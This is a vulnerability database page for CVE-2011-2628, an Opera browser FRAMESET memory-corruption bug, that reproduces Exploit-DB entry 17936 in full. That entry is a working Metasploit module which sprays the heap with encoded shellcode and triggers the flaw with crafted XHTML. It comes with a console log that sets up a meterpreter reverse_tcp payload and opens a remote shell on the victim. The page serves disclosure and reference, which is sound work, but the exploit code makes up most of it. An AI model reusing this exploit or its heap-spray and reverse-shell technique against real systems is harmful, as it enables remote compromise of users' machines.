CVE-2011-2628 Detail

CVE-2011-2628

OWSAP

A03-Injection

EPSS

12.06%V3

Vector

Network

Published

2011-07-01
08h00 +00:00

Modified

2012-02-14
09h00 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

Opera before 11.11 does not properly implement FRAMESET elements, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via vectors related to page unload.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-20	Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	10		AV:N/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 17936

Publication date : 2011-10-05 22h00 +00:00
Author : Jose A. Vazquez
EDB Verified : Yes

############################################################################################################### # Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption # # Vulnerability: # # Discovered: 2010-08-18 # Patched: 2011-05-18 # Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63) # v11.xx < v11.11 (v11.00, v11.01 and v11.10) # Patched on: v11.11 # # Exploit: # # Coded: 2010-09-23 # Last revision: 2011-09-30 # # RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10* # DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63 # # Notes: # # 1) DEP bypass: possible but unreliable. # 2) Let me know if you improve this one ;) # 3) Most of times, it won't work at first attempt and need crash-dialog interaction. # # Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com # # Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc # # Running against Opera v10.62... # # # =[ metasploit v4.0.1-dev [core:4.0 api:1.0] # + -- --=[ 741 exploits - 378 auxiliary - 82 post # + -- --=[ 228 payloads - 27 encoders - 8 nops # =[ svn r13801 updated 3 days ago (2011.09.27) # # msf > use windows/browser/opera_frameset_tag # msf exploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp # payload => windows/meterpreter/reverse_tcp # msf exploit(opera_frameset_tag) > set LHOST 192.168.1.103 # LHOST => 192.168.1.103 # msf exploit(opera_frameset_tag) > exploit # [*] Exploit running as background job. # # [*] Started reverse handler on 192.168.1.103:4444 # msf exploit(opera_frameset_tag) > # [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS # [*] Local IP: http://192.168.1.103:8080/sUpFmezLW6jS # [*] Server started. # [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)) # [*] Sending stage 1 (Spraying the heap) # [*] Sending stage 2 (Triggering the vulnerability) # [*] Sending stage 2 (Triggering the vulnerability) # [*] Sending stage 2 (Triggering the vulnerability) # [*] Sending stage (752128 bytes) to 192.168.1.104 # [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200 # Interrupt: use the 'exit' command to quit # msf exploit(opera_frameset_tag) > sessions # # Active sessions # =============== # # Id Type Information Connection # -- ---- ----------- ---------- # 1 meterpreter x86/win32 0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12 192.168.1.103:4444 -> 192.168.1.104:1190 # # msf exploit(opera_frameset_tag) > sessions -i 1 # [*] Starting interaction with 1... # # meterpreter > getuid # Server username: 0XDE1-A39ED4C12\0xde1 # meterpreter > execute -f calc.exe # Process 1336 created. # meterpreter > exit # [*] Shutting down Meterpreter... # msf exploit(opera_frameset_tag) > # ################################################################################################################ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses. Successfully exploiting leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off). Note than most of cases, it won't work at first attempt and need crash-dialog interaction. Read the last reference for further details. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jose A. Vazquez' ], 'Version' => '$Revision: 0011 $', 'References' => [ ['CVE', '2011-2628'], ['OSVDB', '72406'], ['BID', '47906'], ['URL', 'http://www.opera.com/support/kb/view/992/'], ['URL', 'http://www.beyondsecurity.com/ssd.html'], ['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'], ['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ # Automatic [ 'Automatic', {} ], # Opera > v10.54 ~ spray of 350 MB [ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)', { 'SizeofSpray' => 700, 'Ret' => 0x0c0c0c0c } ], # Opera <= v10.54 ~ spray of 250 MB [ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)', { 'SizeofSpray' => 500, 'Ret' => 0x0c0c0c0c } ], # Opera < v10.50 doesn't get crashed with previous method and it needs this one. [ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)', { 'SizeofSpray' => 500, 'Ret' => 0x0c0c0c0c } ] ], 'DisclosureDate' => '5 October 2011', 'DefaultTarget' => 0)) end #I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection def automatic_target(cli, request) thistarget = nil agent = request.headers['User-Agent'] if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/ thistarget = targets[3] elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/ thistarget = targets[2] else thistarget = targets[1] end thistarget end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = automatic_target(cli, request) end if(request.uri =~ /\.xhtml$/) #Send file for trigger the vulnerability for cases > v10.10 html = %Q| <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml"> <meta http-equiv="refresh" content="0;url=" /> <xht:frameset> <xht:iframe> <xht:script> rbc </xht:script> <style type="text/css">  </style> </xht:iframe> </xht:frameset> </html> | #Send triggerer print_status("Sending stage 2 (Triggering the vulnerability)") var_contentype = 'application/xhtml+xml' else #Send payload + hide iframe for trigger the vuln #Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) #Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) #Ret addr_word = [mytarget.ret].pack('V').unpack('H*')[0][0,4] #Randomize the javascript variable names var_buffer = rand_text_alpha(rand(30)+2) var_shellcode = rand_text_alpha(rand(30)+2) var_unescape = rand_text_alpha(rand(30)+2) var_x = rand_text_alpha(rand(30)+2) var_i = rand_text_alpha(rand(30)+2) var_size = rand_text_alpha(rand(30)+2) var_nopsize = rand_text_alpha(rand(30)+2) var_limit = rand_text_alpha(rand(30)+2) var_function_trigger = rand_text_alpha(rand(30)+2) var_file_trigger = rand_text_alpha(rand(30)+2) var_timer_trigger = (rand(3) + 2) * 1000 #Build the exploit var_url = ((datastore['SSL']) ? "https://" : "http://") var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']) var_url << ":" + datastore['SRVPORT'] var_url << get_resource #Sending init HTML print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})") if mytarget.name =~ /v10.00/ # Case v10.00 - v10.10 html = %Q| <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml"> <xht:frameset> <xht:iframe> <xht:script> aaaaaa </xht:script> </xht:iframe> </xht:frameset> <script type="text/javascript"> <![CDATA[ var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}("#{shellcode}"); var #{var_size} = #{var_shellcode}.length * 2; var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14); var #{var_buffer} = #{var_unescape}("%u#{addr_word}"); while ( #{var_buffer}.length * 2 < #{var_nopsize} ) { #{var_buffer} += #{var_buffer}; } var #{var_x} = new Array(); for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) { #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode}; } setInterval("location.reload()", 500); ]]> </script> <html> | print_status("Sending simple stage (Sprayer and Triggerer)") var_contentype = 'application/xhtml+xml' else # Case > v10.10 html = %Q| <html> <head> <script type="text/javascript"> var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}("#{shellcode}"); var #{var_size} = #{var_shellcode}.length * 2; var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14); var #{var_buffer} = #{var_unescape}("%u#{addr_word}"); while ( #{var_buffer}.length * 2 < #{var_nopsize} ) { #{var_buffer} += #{var_buffer}; } var #{var_x} = new Array(); for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) { #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode}; } function #{var_function_trigger}(){ document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>"); } setTimeout('#{var_function_trigger}()',#{var_timer_trigger}); </script> </head> <html> | print_status("Sending stage 1 (Spraying the heap)") var_contentype = 'text/html' end end #Response send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' }) #Handle the payload handler(cli) end end